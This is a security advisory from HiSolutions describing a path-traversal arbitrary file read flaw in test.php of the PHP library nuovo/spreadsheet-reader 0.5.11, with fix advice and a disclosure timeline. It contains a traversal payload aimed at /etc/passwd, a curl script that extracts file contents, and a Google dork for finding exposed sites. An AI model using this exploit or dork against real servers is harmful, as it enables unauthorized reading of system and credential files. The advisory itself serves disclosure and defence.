Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

HiSolutions Research

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:


As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

Starting memory: 670416
    [0] => passwd
*** Sheet passwd ***
0: Array
    [0] => root:x:0:0:root:/root:/bin/bash
Memory: 3000 current, 719760 base
1: Array
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
Memory: 3232 current, 719992 base
2: Array
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
Memory: 3224 current, 719984 base
3: Array
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin


To display only the actual file content and filter out the “noise” around the output, use the following script:


## usage:
# $ ../../../../../../../../../../../etc/passwd


curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'


The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)


As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.


The vulnerability was found by Ronny Dobra (HiSolutions AG).